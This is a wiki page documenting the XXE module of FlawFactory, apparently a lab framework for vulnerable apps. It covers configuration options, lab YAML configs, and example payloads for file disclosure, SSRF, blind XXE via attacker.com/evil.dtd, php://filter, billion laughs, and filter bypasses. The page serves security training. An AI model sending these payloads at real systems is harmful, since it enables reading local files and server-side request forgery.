Skip to content

Module: XXE

Moiz Bootwala edited this page Jan 19, 2026 · 1 revision

Overview

Module Name: xxe
Requires Sink: None (Optional: Filesystem for file reading)

XML External Entity (XXE) is a vulnerability in XML parsers that allows attackers to define external entities that can read local files, perform server-side requests, or cause denial of service. It exploits applications that parse XML input without disabling external entity processing.

FlawFactory's XXE module emulates XXE behavior by detecting and analyzing malicious XML payloads, simulating entity resolution and showing what would be exploited in a real vulnerable parser.

Supported Placements

Placement Description Example Request
query_param URL query string GET /xml?data=<xml...>
form_field POST form data POST /xml with xml=<xml...>
json_field JSON body field POST /api/xml with {"xml": "..."}
header HTTP header X-XML-Data: <xml...>
cookie Cookie value Cookie: xml=<xml...>

Detected Entity Protocols

Protocol Description
file:// Local file read
http:// SSRF, data exfiltration
https:// SSRF, data exfiltration
ftp:// FTP connections
php:// PHP wrappers (filter, expect)
expect:// Command execution
gopher:// Protocol smuggling
data:// Data URI inclusion
jar:// Java JAR file access

Configuration Options

filter (string)

XML validation filtering. These represent common (bypassable) protections.

Value Description What It Blocks Bypass Methods
none No filtering Nothing N/A
basic_doctype Blocks <!DOCTYPE DOCTYPE declarations Parameter entities, XInclude
basic_entity Blocks <!ENTITY Entity declarations Already defined entities, DTD loading
external_entities Blocks external entity patterns SYSTEMPUBLIChttp://,
https://ftp://php://
expect://
Encoding tricks, case variations, nested entities

Default: none

show_decoded (boolean)

Whether to show decoded XML content when input is base64 encoded.

Default: true

emulate_resolution (boolean)

Whether to emulate entity resolution and show what content would be retrieved.

Value Behavior
true Shows simulated file contents, detected attack patterns
false Only analyzes and reports entities, no resolution simulation

Default: true

allow_file_read (boolean)

Whether to actually read files from the filesystem sink (if available).

Value Behavior
true Attempts real file reads from the temp filesystem
false Only emulates/simulates file content

Default: true

max_entity_depth (integer)

Maximum depth for entity expansion (prevents billion laughs DoS).

Default: 10

Configuration Examples

Basic XXE Detection

app:
  name: "XXE Lab 1"
  port: 8081

endpoints:
  - path: /xml/parse
    method: POST
    vulnerabilities:
      - type: xxe
        placement: form_field
        param: xml
        config:
          filter: none
          show_decoded: true
          emulate_resolution: true
          allow_file_read: true

Query Parameter XXE

app:
  name: "XXE Lab 2"
  port: 8082

endpoints:
  - path: /xml/process
    method: GET
    vulnerabilities:
      - type: xxe
        placement: query_param
        param: data
        config:
          filter: none
          emulate_resolution: true

JSON Wrapper XXE

app:
  name: "XXE Lab 3"
  port: 8083

endpoints:
  - path: /api/xml/import
    method: POST
    vulnerabilities:
      - type: xxe
        placement: json_field
        param: xml_content
        config:
          filter: none
          show_decoded: true
          emulate_resolution: true

SVG Upload (SVG is XML)

app:
  name: "XXE Lab 4"
  port: 8084

endpoints:
  - path: /api/svg/upload
    method: POST
    vulnerabilities:
      - type: xxe
        placement: form_field
        param: svg
        config:
          filter: none
          emulate_resolution: true
          allow_file_read: true

With DOCTYPE Filter (Bypassable)

app:
  name: "XXE Lab 5"
  port: 8085

endpoints:
  - path: /xml/safe
    method: POST
    vulnerabilities:
      - type: xxe
        placement: form_field
        param: xml
        config:
          filter: basic_doctype
          emulate_resolution: true

Configuration Import

app:
  name: "XXE Lab 6"
  port: 8086

endpoints:
  - path: /api/config/import
    method: POST
    vulnerabilities:
      - type: xxe
        placement: form_field
        param: config
        config:
          filter: basic_entity
          show_decoded: true
          emulate_resolution: true

XXE Payload Types

1. File Disclosure (Classic XXE)

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

2. SSRF via XXE

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
<foo>&xxe;</foo>

3. Parameter Entity (Blind XXE)

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<foo>test</foo>

4. PHP Filter Wrapper

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>

5. Billion Laughs (DoS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>

Response Examples

  1. Detected XXE Attack
{
  "parsed": true,
  "detected_entities": ["xxe"],
  "external_entities": [
    {
      "name": "xxe",
      "type": "SYSTEM",
      "uri": "file:///etc/passwd",
      "protocol": "file",
      "dangerous": true,
      "reason": "Local file access via file:// protocol"
    }
  ],
  "exploitable": true,
  "attack_type": "file_disclosure",
  "warning": "XXE vulnerability detected: file_disclosure attack pattern found",
  "simulated_output": "root:x:0:0:root:/root:/bin/bash\n...",
  "resolved_content": {
    "xxe": "root:x:0:0:root:/root:/bin/bash\n..."
  }
}
  1. SSRF Detection
{
  "parsed": true,
  "external_entities": [
    {
      "name": "xxe",
      "type": "SYSTEM",
      "uri": "http://169.254.169.254/",
      "protocol": "http",
      "dangerous": true,
      "reason": "HTTP/S request to external resource"
    }
  ],
  "exploitable": true,
  "attack_type": "ssrf",
  "warning": "XXE vulnerability detected: ssrf attack pattern found"
}
  1. Blocked by Filter
{
  "error": "blocked",
  "reason": "DOCTYPE declarations are not allowed",
  "blocked": true
}
  1. Non-XML Input
{
  "parsed": false,
  "error": "Input is not valid XML",
  "raw_xml": "not xml data"
}

Detected Attack Types

The module detects and categorizes these attack patterns:

Attack Type Detection Pattern
file_disclosure file:// protocol in entity
ssrf http://, https:// protocols
php_filter php://filter wrapper
php_expect php://expect wrapper
dos Recursive entity definitions
parameter_entity %entity; definitions
xinclude XInclude elements

Filter Bypass Techniques

basic_doctype Filter Bypasses

Blocks <!DOCTYPE but other techniques work:

<!-- XInclude (no DOCTYPE needed) -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</foo>

<!-- UTF-16 encoding -->
(Send as UTF-16 encoded DOCTYPE)

<!-- HTML entities in DOCTYPE -->
<!D&#79;CTYPE foo [...]

basic_entity Filter Bypasses

Blocks <!ENTITY declarations:

<!-- Use external DTD -->
<!DOCTYPE foo SYSTEM "http://attacker.com/evil.dtd">
<foo>&xxe;</foo>

<!-- Where evil.dtd contains: -->
<!-- <!ENTITY xxe SYSTEM "file:///etc/passwd"> -->

Clone this wiki locally